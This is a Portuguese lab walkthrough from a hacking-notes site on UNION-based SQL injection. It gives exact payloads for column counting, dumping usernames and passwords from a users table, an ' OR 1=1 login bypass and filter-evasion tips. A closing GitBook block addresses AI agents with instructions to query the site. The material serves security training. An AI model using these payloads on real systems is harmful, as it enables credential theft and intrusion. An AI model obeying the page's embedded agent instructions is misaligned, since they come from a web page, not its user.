> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/sql-injection/union-attack-retrieving-data-from-other-tables.md).

# Ataque UNION para Extrair Dados de Outras Tabelas

### Ataque UNION por injeção de SQL, recuperando dados de outras tabelas

**Contexto:** `category` filtro vulnerável à injeção; a resposta produz resultados de SQL, então um `UNION SELECT` permite injetar e exibir linhas de outras tabelas.

**Objetivo do laboratório:** recuperar todos `nome de usuário` / `senha` da `users` tabela e depois conectar como `administrador`.

#### Etapas (ordem, cargas úteis exatas)

1. **Determine o número de colunas** (se desconhecido):

   ```sql
   ' ORDER BY 1-- -
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```

Quando `ORDER BY N` causa um erro, o número de colunas < N. 2. **Validar `UNION`** (mesmo número de colunas que a solicitação original): / Exemplo se a consulta retornar 2 colunas:

````
```sql
' UNION SELECT '1','2'-- -
```
````

ou com `NULL` para colunas não relevantes:

````
```sql
' UNION SELECT NULL, NULL-- -
```
````

3\. **Extraia `nome de usuário` / `senha`** (ajuste o número/ordem das colunas): / Se a solicitação original tiver **2 colunas**:

````
```sql
' UNION SELECT username, password FROM users-- -
```
````

Se tiver **3 colunas**, coloque `NULL` na coluna não utilizada, por exemplo (texto na segunda posição):

````
```sql
' UNION SELECT NULL, username, password FROM users-- -
```
````

— Se os tipos forem incompatíveis: use `CAST`/`TO_CHAR`  ou `NULL` para forçar a compatibilidade:

````
```sql
' UNION SELECT CAST(username AS CHAR), CAST(password AS CHAR) FROM users-- -
```
````

4\. **Verifique a saída** — a resposta deve conter `nome de usuário`/`senha` pares.

* Encontre o `administrador` linha e registre sua senha.
* Use essas credenciais na página de login.

5. **Alternativa (se a exfiltração falhar)** — burlar d

   ```sql
   ' OR 1=1-- -
   ```

(menos evidências do que o despejo; dê preferência à exfiltração, se possível.)

#### Detalhes técnicos

* Use constantes separadas (ou `NULL`) para identificar quais colunas são exibidas.
* Oracle: nomes em MAIÚSCULAS se não estiverem entre aspas; pode exigir `TO_CHAR`.
* MSSQL/MySQL/Postgres: `CAST`/`CONVERT`/`::text` se os tipos forem diferentes.
* Se `UNION` bloqueado, teste alterações em espaços/comentários ou funções para reconstruir a cadeia (`CONCAT`, `CHR`/`CHAR`).

#### Impacto resumido

* Credenciais (administrador), controle da aplicação, exfiltração/alteração de dados.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/sql-injection/union-attack-retrieving-data-from-other-tables.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
